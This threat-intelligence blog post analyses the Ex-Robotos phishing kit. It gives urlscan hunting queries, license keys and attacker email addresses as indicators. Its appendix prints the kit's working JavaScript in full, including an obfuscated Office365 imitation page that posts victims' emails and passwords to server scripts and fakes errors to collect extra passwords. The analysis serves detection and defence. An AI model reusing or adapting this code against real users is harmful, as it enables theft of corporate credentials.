This is a continuation of the research outlined in the Gone phishing? Beware of what you (re)CAPTCHA blog posted earlier this week.
While continuing to research instances of open redirect abuse leveraging reCAPTCHA, the IronNet Threat Analysis team observed a phishing kit targeting corporate credentials called Ex-Robotos. The use of this phishing kit was prolific and the targets broad, spanning many countries and virtually all market verticals including government, healthcare, finance, retail etc.
Background on Ex-Robotos phishing kit
History
Ex-Robotos is a corporate phishing kit [1] frequently used to gain access to the credentials of corporate users in various industries around the world. According to a Facebook post by Brahim El, the self-declared developer of Ex-Robotos, Ex-Robotos became available for public purchase at the beginning of July 2019. V1 sported features such as external redirecting, license validation, a “special” anti-bot system, and auto base64 email grabbing. V2 was released only two weeks later, advertising the “maximum possible immunity” against bots and detection.
The newest version (v4) of the phishing kit was released on July 9th, 2020, including many new features. Some of these new features in the V4 Office365 page include self-destructing links, the ability to geolocate incoming IPs, and the ability to make emails look more believable and harder to track by locking the site to one target email. V4 is much more difficult to detect, allowing actors to block scanners from indexing the phishing pages.
How does it work?
Using known lists of targeted emails purchased on the dark web or obtained through legitimate marketing services, Ex-Robotos employs two known lures: a voicemail lure and a lure centered on protected documents. When the link is clicked, a legitimate-looking site pops up that prompts the victim to enter their credentials. From there, the credentials are captured for future malicious use. If the attacker chooses, they can configure the script to return a notification stating the initial credentials were incorrect, eliciting the victim to enter additional passwords. We speculate this is for one of two purposes: to confirm the initial password was correct or to collect additional passwords that are then exfiltrated as well. The victim is then typically redirected to a legitimate Microsoft Office page or a blank page with a pre-recorded audio to complete the process.
Ex-Robotos sports a few control mechanisms that allows the attacker to limit who is able to view the landing page, thus making Ex-Robotos perfect for spearphishing attacks. These include forming a pass list for email addresses, allowing for only one time use, geofencing by country, and allow lists for IP/IP ranges.
Along with password exfiltration, the Ex-Robotos kits also perform data enrichment, which includes collecting data such as location, browser details, and IP information. On top of that, the kits have the ability to email the data as well as store it locally as a text file on the web server for the attacker to access.
What we discovered
After stumbling upon a few phishing pages with similar URL formats, we decided to create a regex to find further potential phishing pages using urlscan. We came up with the following regex + urlscan search query.
Regex URL
^(http)(s)?:\/\/([a-z0-9]+\.)?([a-z0-9\-])+\.([a-z])+\/(.*)?\.well-known\/((login\.php\?ss=2(&)?.*)|(.*\/authorize_client_id\:.*))+$
urlscan.io Query
page.url.keyword:/(http)(s)?:\/\/([a-z0-9]+\.)?([a-z0-9\-])+\.([a-z])+\/(.*)?\.well-
known\/((login\.php\?ss=2(&)?.*)|(.*\/authorize_client_id\:.*))+/
Figure 1: urlscan regex query results
From there, we analyzed a few of the results to see the HTTP requests each one made. Our goal was to find commonalities within the resources being requested to categorize results based on campaigns and also to find more results that our regex query may have missed. urlscan has a nice feature where they hash resources so that you can search for that resource in other results. This leads us to our first grouping of phishing pages that we delineate as Group 1.
Figure 2: Inspecting HTTP transactions of a urlscan result
Group 1
Quite a few of the results made a callout to this resource maximum.js
(see figure 2 above). This is the main javascript file that handles the operation of the phishing page. How do we know this? Well let's take a look at the javascript and break it down to see what it does.
Figure 3: Email check from maximum.js file
var hash = window.location.hash;
var emailz = hash.split('#')[1];
if(typeof(emailz) == 'undefined'){
setTimeout(function(){
window.location.href="https://www.wikipedia.com"
} , 2000);
}else{
var email = atob(emailz);
if(true_email(email)){ // if hash email used run this or run else
set_brand(email);
$('#email').val(email);
$('.identity').html(email);
}else{
console.log("HERE");
setTimeout(function(){
window.location.href="https://www.wikipedia.com"
} , 2000);
}
}
The first group of code is meant to ensure that a valid email address was obtained. It begins by gathering the anchor part of the URL. For example:
http://www.example.com/test.htm#admin@example.com
The anchor here would be #admin@example.com
. It then splits that value out and grabs the email portion. If it passes a simple undefined check, it will further check to ensure that it is a “true email”. As the function name implies, the email is a “true email” by comparing it to a regex pattern, and if either of these two checks fail, the web page redirects to Wikipedia.
Figure 4: Email regex from maximum.js file
function true_email(a) {
var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(a);
}
If it does succeed, the web page presented will be consistent with the targeted company to aid in social engineering the user using the set_brand()
function. To be specific, this function attempts to grab the custom company logo and a background image used on the legitimate login page.
Figure 5: set_brand() function from maximum.js file
function set_brand(email){
$.ajax({
url: 'brand.php?ss=2', // add external link here
type: "POST",
data: {email:email,barnd:1},
success: function(data){
var i=$.parseJSON(data);
if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
$('.backgroundImage').css('background-image', 'url(' + i.bg_image + ')');
$('.logo').attr('src', i.logo_image);
$('#banner_image').hide();
}
}
});
}
We now move on to the code that handles the operation of the sign in button. The simplified operation is as follows:
- If password entered is not empty, POST password.
- If successful POST
- If first or second attempt
- Show password error text
- If user entered password twice (count > 2)
- Redirect user out
- If first or second attempt
Figure 6: Sign in button operation from maximum.js file
var count = 1;
$('#idSIButton9').on('click', function (event){
event.preventDefault ? event.preventDefault() : event.returnValue = false;
var user = $('#email').val();
var pass = $('#i0118').val();
if(pass == ""){
$("#passwordError2").show();
$("#important").hide();
$('#i0118').focus();
}else{
$("#passwordError2").hide();
$("#passwordError").hide();
$('#idSIButton9').prop('disabled', true);
$.ajax({
url: "policy.php?ss=2", // add external link here
data: {
"email": user,
"password": pass,
"attempt": count
},
type: "POST",
success: function(data){
count++;
if(count > 2){
count = 1;
setTimeout(function(){
window.location.href="success.php?ss=2&src=DluZDluZHNmNDBlb2RzaDluZHNmNDDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbHNmNDBlb2RzaTRDluZHNmNDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbZWppZXdpb2U5NDluZHNmNDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpb25ja29uc2NrIGtjIGtqIHZqayBj"
} , 2000);
}else{
$("#passwordError").show();
$('#idSIButton9').prop('disabled', false);
}
},
error: function(data) {
console.log('Ajax error');
}
});
}
});
Now that we have confirmed that for many of the results, this is the main javascript file handling the operation, we can run a urlscan search to find all the related phishing pages using the same script. We can, with reasonable confidence, infer that all these results are part of the same campaign due to the unique resource it finally redirects too.
urlscan search: hash:35283bce87f120b3df83722176e4c6684f2e64088aa24f357ac7530b54754beb
Figure 7: urlscan results of maximum.js hash
Note: Many of these domains have been compromised to serve the Ex-Robotos phishing kit. For the entire list, check out our GitHub link below.
Group 1 Indicators of Compromise
What about the other results? Let’s take a look. Now for these results, it is likely they are not part of the same campaign, but rather just use the same version of the Ex-Robotos phish kit. We do offer a potential solution to grouping results to campaigns.
Group 2
First, let’s look at one of the results from the initial regex urlscan search that did not match in the above group. These results actually have their malicious javascript executed on the initial request:
Figure 8: HTTP response to primary request in ff.hashroot[.]com urlscan result
Interestingly, regardless of the obfuscation, there are two important values in the above javascript that may be fruitful in tracking phishing pages to campaigns:
var licensekey = 'UZER58ERE8RWV4';
var emailkey = 'bW8uc2VzOTBAeWFuZGV4LmNvbQ==';
We can infer what these values are from previous reporting by Akamai [1] on Ex-Robotos. This is a phishing kit sold on forums so licensekey
is likely how the developer tracks and enforces access. It is important to note that this phishing kit was cracked and spread throughout dark web forums, so observations of a given license key may not be indicative of a single threat actor. Next the phishing kit can be configured to email the submitted credentials, thus, emailkey
is likely an attacker-controlled email where the credentials will be sent off to. In this case, the emailkey
is base64 encoded and decoded to:
mo.ses90@yandex.com
In these results, there isn’t a secondary javascript file loaded to hunt on but we can look at the other resources loaded to find more similar results. We will focus on combining three of these results in a urlscan search to ensure we get a more accurate picture of similar phishing pages.
Figure 9: HTTP transactions in ff.hashroot[.]com urlscan result
Some example licensekey
and emailkey
values we have observed:
Licensekey | Emailkey
AZ | workalone56@protonmail.com
AZ | alrejhirasheed@gmail.com
AZ | jlp18122@gmail.com
AZ | bruce.demont.nelson@gmail.com
AZ | birdie.pinecountrybank.com@yandex.com, darklogs2020@yandex.ru
AZ | sureway1@protonmail.com
UZER58ERE8RWV4 | mo.ses90@yandex.com
UZER58ERE8RWV4 | alpaslanoglo@gmail.com
UZER58ERE8RWV4 | newresbox@yandex.com, houseg123@protonmail.com
Indicators of compromise for Group 2. Note: some domains are compromised and not owned by the actor.
Although we do not see the same abuse of reCAPTCHA outlined in our previous blog, the abuse of open redirectors as a means to deliver phishing links is clearly an effective technique to making lures more convincing. Considering the wide spread targeting and highly convincing redirection, this phishing kit should be taken seriously. Furthermore, the numerous connections between the original campaign and this one leave many questions and opportunities for further research.
Acknowledgements
Appendix
Figure 10: maximum.js file
$( document ).ready(function() {
var hash = window.location.hash;
var emailz = hash.split('#')[1];
if(typeof(emailz) == 'undefined'){
setTimeout(function(){
window.location.href="https://www.wikipedia.com"
} , 2000);
}else{
var email = atob(emailz);
if(true_email(email)){ // if hash email used run this or run else
set_brand(email);
$('#email').val(email);
$('.identity').html(email);
}else{
console.log("HERE");
setTimeout(function(){
window.location.href="https://www.wikipedia.com"
} , 2000);
}
}
// Normal Entry
$('.btn-email').on('click', function (){
var email = $('#email').val();
$('.identity').html(email);
$(".error-alert").hide();
$('.btn-email').prop('disabled', true);
if(true_email(email) == false){
$(".error-alert").show();
$(".error-alert-msg").html('Please enter your email.');
$('.btn-email').prop('disabled', false);
}else{
set_brand(email);
setTimeout(function (){
$("#add_em").hide();
$("#add_pass").show();
}, 1000);
}
});
var count = 1;
$('#idSIButton9').on('click', function (event){
event.preventDefault ? event.preventDefault() : event.returnValue = false;
var user = $('#email').val();
var pass = $('#i0118').val();
if(pass == ""){
$("#passwordError2").show();
$("#important").hide();
$('#i0118').focus();
}else{
$("#passwordError2").hide();
$("#passwordError").hide();
$('#idSIButton9').prop('disabled', true);
$.ajax({
url: "policy.php?ss=2", // add external link here
data: {
"email": user,
"password": pass,
"attempt": count
},
type: "POST",
success: function(data){
count++;
if(count > 2){
count = 1;
setTimeout(function(){
window.location.href="success.php?ss=2&src=DluZDluZHNmNDBlb2RzaDluZHNmNDDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbHNmNDBlb2RzaTRDluZHNmNDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbpZWprMzBka2prZWtjamtkIGNuZmk0bmZpbZWppZXdpb2U5NDluZHNmNDBlb2RzaTRpZWprMzBka2prZWtjamtkIGNuZmk0bmZpb25ja29uc2NrIGtjIGtqIHZqayBj"
} , 2000);
}else{
$("#passwordError").show();
$('#idSIButton9').prop('disabled', false);
}
},
error: function(data) {
console.log('Ajax error');
}
});
}
});
function set_brand(email){
$.ajax({
url: 'brand.php?ss=2', // add external link here
type: "POST",
data: {email:email,barnd:1},
success: function(data){
var i=$.parseJSON(data);
if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
$('.backgroundImage').css('background-image', 'url(' + i.bg_image + ')');
$('.logo').attr('src', i.logo_image);
$('#banner_image').hide();
}
}
});
}
function true_email(a) {
var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(a);
}
});
Figure 11: Malicious javascript found in the primary request of ff.hashroot[.]com’s urlscan result
<script>
var statos = '';
var actnn = "authorize_client_id:jpbvnmrz-hx50-b9uq-br7t-hn1vsck08rqt_s4a792wuk50gdrfo1ypl86tnbjqex3cimvhz1fwg6ijcb0lu4rp8zs3vomax7nk2heqt95yd3m1prdbxvocwsy75if4hkzgj26a89tnq0leu&data=dmlrdG9yaXlhLnRyZW5kYWZpbG92YUBuYXhpY2FwLmZy";
var actnn2 = "";
var rndstr1 = 'vxi6dzc';
var rndstr2 = '5o1yqdwr';
var haserr = "";
var plchol = "Pa¬ss¬¬wo¬¬rd";
var plchol2 = "Em¬a¬¬i¬¬l";
var arrl = "REDACTED";
var licensekey = 'AZ';
var emailkey = 'YmlyZGllLnBpbmVjb3VudHJ5YmFuay5jb21AeWFuZGV4LmNvbSwgZGFya2xvZ3MyMDIwQHlhbmRleC5ydQ==';
var style = document.createElement("style");
document.head.appendChild(style);
style.sheet.insertRule("@media all {body{margin:0;padding:0;display:flex;align-items:center;justify-content:center;height:100vh}.mslogo{margin-left:30px;display:inline-block;background:#f25022;width:11px;height:11px;box-shadow:12px 0 0 #7fba00,0 12px 0 #00a4ef,12px 12px 0 #ffb900;transform:translatex(-300%)}.mslogo::after{content:\"Microsoft\";font:bold 20px sans-serif;margin-left:28px;color:#737373}.form-control::placeholder{font-family:\"Open Sans\",Arial,Helvetica,sans-serif;opacity:1}.form-control:-ms-input-placeholder{font-family:\"Open Sans\",Arial,Helvetica,sans-serif}.form-control::-ms-input-placeholder{font-family:\"Open Sans\", Arial, Helvetica, sans-serif;}#spinput{font-family:inherit;font-size:inherit;line-height:inherit;background-image:url(images/passwrd.png);background-repeat:no-repeat;cursor:text}#spinput{max-width:100%;line-height:inherit}#spinput{padding:4px 8px;border-style:solid;border-color:rgba(0,0,0,.31)}#spinput{border-width:1px;border-color:#666;border-color:rgba(0,0,0,.6);height:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent}#spinput{border-top-width:0;border-left-width:0;border-right-width:0}#emnput{font-family:inherit;font-size:inherit;line-height:inherit;background-image:url(images/putmail.png);background-repeat:no-repeat;cursor:text}#emnput{max-width:100%;line-height:inherit}#emnput{padding:4px 8px;border-style:solid;border-color:rgba(0,0,0,.31)}#emnput{border-width:1px;border-color:#666;border-color:rgba(0,0,0,.6);height:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent}#emnput{border-top-width:0;border-left-width:0;border-right-width:0}body.nd{color:#262626;text-align:left}body.cb{text-align:right!important;direction:rtl!important;padding:50px!important}.inner{margin-left:unset!important;margin-right:initial!important;position:absolute!important;max-width:0!important;width:calc(10% - 0px)!important;padding:0!important;margin-bottom:0!important;min-width:5px!important;min-height:8px!important;overflow:scroll!important}#i0118{font-family:\"Times New Roman\",Times,serif!important;width:1%!important}#inpfield[type=email]{width:100%!important}#inpfield[type=text]{font-family:text-sec-disc!important;width:100%!important;-webkit-text-sec:disc!important}.form-group{margin-bottom:0!important}@font-face{font-family:\"Open Sans\";font-style:normal;font-weight:300;src:local(\"Open Sans Light\"),local(\"OpenSans-Light\"),url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UN_r8OUuhs.ttf) format(\"truetype\")}@font-face{font-family:\"Open Sans\";font-style:normal;font-weight:400;src:local(\"Open Sans Regular\"),local(\"OpenSans-Regular\"),url(https://fonts.gstatic.com/s/opensans/v16/mem8YaGs126MiZpBA-UFVZ0e.ttf) format(\"truetype\")}@font-face{font-family:\"Open Sans\";font-style:normal;font-weight:600;src:local(\"Open Sans SemiBold\"),local(\"OpenSans-SemiBold\"),url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UNirkOUuhs.ttf) format(\"truetype\")}@font-face{font-family:text-sec-disc;src:url(fonts/tsd.eot);src:url(fonts/tsd.eot?#iefix) format(\"embedded-opentype\"),url(fonts/tsd.woff2) format(\"woff2\"),url(fonts/tsd.woff) format(\"woff\"),url(fonts/tsd.ttf) format(\"truetype\"),url(fonts/tsd.svg#text-security) format(\"svg\")}.alert{margin-left:-2%;}}", 0);
function checkdom() {
Element.prototype.isVisible = function() {
function _isVisible(el, t, r, b, l, w, h) {
var p = el.parentNode,
VISIBLE_PADDING = 2;
if (!_elementInDocument(el)) {
return false;
}
if (9 === p.nodeType) {
return true;
}
if ("0" === _getStyle(el, "opacity") || "none" === _getStyle(el, "display") || "hidden" === _getStyle(el, "visibility")) {
return false;
}
if ("undefined" === typeof t || "undefined" === typeof r || "undefined" === typeof b || "undefined" === typeof l || "undefined" === typeof w || "undefined" === typeof h) {
t = el.offsetTop;
l = el.offsetLeft;
b = t + el.offsetHeight;
r = l + el.offsetWidth;
w = el.offsetWidth;
h = el.offsetHeight;
}
if (p) {
if ("hidden" === _getStyle(p, "overflow") || "scroll" === _getStyle(p, "overflow")) {
if (l + VISIBLE_PADDING > p.offsetWidth + p.scrollLeft || l + w - VISIBLE_PADDING < p.scrollLeft || t + VISIBLE_PADDING > p.offsetHeight + p.scrollTop || t + h - VISIBLE_PADDING < p.scrollTop) {
return false;
}
}
if (el.offsetParent === p) {
l += p.offsetLeft;
t += p.offsetTop;
}
return _isVisible(p, t, r, b, l, w, h);
}
return true;
}
function _getStyle(el, property) {
if (window.getComputedStyle) {
return document.defaultView.getComputedStyle(el, null)[property];
}
if (el.currentStyle) {
return el.currentStyle[property];
}
}
function _elementInDocument(element) {
while ((element = element.parentNode)) {
if (element == document) {
return true;
}
}
return false;
}
return _isVisible(this);
};
var arc = "access expired contact owner";
var my_eleme = document.getElementById("makeinput");
if (my_eleme) {
if (!my_eleme.isVisible(my_eleme)) {} else {
var my_elemn = document.getElementById("emnput");
var my_elesp = document.getElementById("spinput");
if (my_elemn) {
if (!my_elemn.isVisible(my_elemn)) {}
} else if (my_elesp) {
if (!my_elesp.isVisible(my_elesp)) {}
} else {
var my_inpf = document.getElementById("inpfield");
if (my_inpf) {
if (!my_idSIB.isVisible(my_inpf)) {}
}
}
}
} else {}
var my_idSIB = document.getElementById("idSIButton");
if (my_idSIB) {
if (!my_idSIB.isVisible(my_idSIB)) {}
}
}
window.onload = setTimeout(checkdom, 2000);
var xTag = document.getElementsByTagName("input");
if (xTag) {
var i;
for (i = 0; i < xTag.length; i++) {
xTag[i].style.backgroundColor = "red";
xTag[i].parentNode.removeChild(xTag[i]);
}
}
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest;
} else if (window.ActiveXObject) {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var pagetype = "off365-V4";
var trl = "a";
trl += "p";
trl += "i";
trl += ".";
trl += "p";
trl += "h";
trl += "p";
var htmlinp = "";
var htmlinp2 = "";
if (location.href.substr(0, location.href.lastIndexOf("/"))) {
var locathref = location.href.substr(0, location.href.lastIndexOf("/"));
} else {
var locathref = location.href;
}
var params = "host=" + locathref + "&type=" + pagetype + "&key=" + licensekey + "&email=" + emailkey + "&token=";
xmlhttp.open("POST", trl, false);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.onload = function() {
function Dec(value) {
var resvalue = "";
var array = value.split("-");
for (i = 0; i < array.length; i++) {
resvalue += String.fromCharCode(array[i] - 10);
}
return resvalue;
}
var declicensekey = "";
if (JSON.parse(this.responseText) && JSON.parse(this.responseText).key) {
var jsEncode = {
encode: function(s, k) {
var enc = "";
var str = "";
str = s.toString();
for (var i = 0; i < s.length; i++) {
var a = s.charCodeAt(i);
var b = a ^ k;
enc = enc + String.fromCharCode(b);
}
return enc;
}
};
var rand = JSON.parse(this.responseText).rand;
var a = jsEncode.encode(rand, 125);
var e = jsEncode.encode(licensekey, a);
var f = jsEncode.encode(JSON.parse(this.responseText).token, a);
var g = jsEncode.encode(JSON.parse(this.responseText).key, a);
declicensekey = Dec(g);
}
var timep = Math.floor((Date.now() + 86400000) / 1000);
if (JSON.parse(this.responseText) && JSON.parse(this.responseText).valid && JSON.parse(this.responseText).valid == "true" && JSON.parse(this.responseText).key && declicensekey != licensekey && Number(timep) >= Number(f) + 84400) {
htmlinp = "<form class=\"";
htmlinp += rndstr1 + "\" name=\"f1\" ";
htmlinp += "id=\"inputfrm\" novalidate=\"novalidate\" ";
htmlinp += "spellcheck=\"false\" ";
htmlinp += "method=\"post\" ";
htmlinp += "target=\"_top\" ";
htmlinp += "autocomplete=\"off\" ";
htmlinp += "action=\"request.php?";
htmlinp += actnn + "&isok=y";
htmlinp += "\" ><input onkeydown=\"onkeypressFunction()\" name=\"pass\" ";
htmlinp += "type=\"text\" ";
htmlinp += "\" id=\"inpfield\" ";
htmlinp += "autocomplete=\"off\" ";
htmlinp += "class=\"form-control " + rndstr2 + " ";
htmlinp += haserr + "\" aria-required=\"true\" ";
htmlinp += "placeholder=\"" + plchol;
htmlinp += "\" aria-label=\"" + arrl;
htmlinp += "\" required></form>";
htmlinp2 = "<form class=\"";
htmlinp2 += rndstr1 + "\" name=\"f1\" ";
htmlinp2 += "id=\"inputfrm\" novalidate=\"novalidate\" ";
htmlinp2 += "spellcheck=\"false\" ";
htmlinp2 += "method=\"get\" ";
htmlinp2 += "autocomplete=\"off";
htmlinp2 += "action=\"";
htmlinp2 += actnn2;
htmlinp2 += "\" ><input onkeydown=\"onkeypressFunction()\" name=\"data\" ";
htmlinp2 += "type=\"email\" ";
htmlinp2 += "id=\"inpfield\" ";
htmlinp2 += "autocomplete=\"on\" ";
htmlinp2 += "class=\"form-control " + rndstr2 + " ";
htmlinp2 += haserr + "\" aria-required=\"true\" ";
htmlinp2 += "placeholder=\"" + plchol2;
htmlinp2 += "\" aria-label=\"" + arrl;
htmlinp2 += "\" required></form>";
} else {
if (JSON.parse(this.responseText) && JSON.parse(this.responseText).message) {
htmlinp = JSON.parse(this.responseText).message;
} else {
htmlinp = "<span>";
htmlinp += "Update ";
htmlinp += "your license ";
htmlinp += "key. ";
htmlinp += "contact ";
htmlinp += "Us ";
htmlinp += "I";
htmlinp += "C";
htmlinp += "Q";
htmlinp += ": ";
htmlinp += "@";
htmlinp += "E";
htmlinp += "x";
htmlinp += "_";
htmlinp += "R";
htmlinp += "o";
htmlinp += "b";
htmlinp += "o";
htmlinp += "t";
htmlinp += "o";
htmlinp += "s";
htmlinp += "</sp";
htmlinp += "an>";
htmlinp2 = htmlinp;
}
}
};
xmlhttp.send(params);
function makeInputHere(e) {
if (document.getElementById("emnput")) {
e.innerHTML = htmlinp2;
} else {
e.innerHTML = htmlinp;
}
if (document.getElementById("inpfield")) {
document.getElementById("inpfield").focus();
}
}
function validateForm() {
var inpfield = document.getElementById("inpfield").value;
if (inpfield == "") {
return false;
}
return true;
}
function submitForm() {
document.getElementById("inputfrm").submit();
}
function onkeypressFunction() {
if (document.getElementById("spinput")) {
document.getElementById("spinput").classList.remove("novalidate");
}
if (document.getElementById("inpfield")) {
document.getElementById("inpfield").classList.remove("novalidate");
}
}
document.getElementById("idSIButton").onclick = function() {
function ValidateEmail(mail) {
if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(mail)) {
return true;
}
alert("You have entered an invalid email address!");
return false;
}
var mailfrm = document.getElementById("inpfield").value;
if (document.getElementById("inpfield") && mailfrm.length > 3 && document.getElementById("inputfrm") && document.getElementById("inpfield").value !== "" && (statos !== "putuser" || statos == "putuser" && ValidateEmail(mailfrm))) {
if (statos == "putuser") {
document.getElementById("inputfrm").submit();
} else {
document.getElementById("progressBar").setAttribute("class", "progress enait");
setTimeout(submitForm, 2000);
if (document.getElementById("spinput").hasClass("novalidate")) {
document.getElementById("spinput").classList.remove("novalidate");
}
if (document.getElementById("inpfield").hasClass("novalidate")) {
document.getElementById("inpfield").classList.remove("novalidate");
}
}
} else if (document.getElementById("spinput")) {
document.getElementById("spinput").classList.add("novalidate");
} else if (document.getElementById("inpfield")) {
document.getElementById("inpfield").classList.add("novalidate");
}
};
var r = document.getElementsByTagName("script");
for (var i = r.length - 1; i >= 0; i--) {
if (r[i].getAttribute("id") != "a") {
r[i].parentNode.removeChild(r[i]);
}
} </script>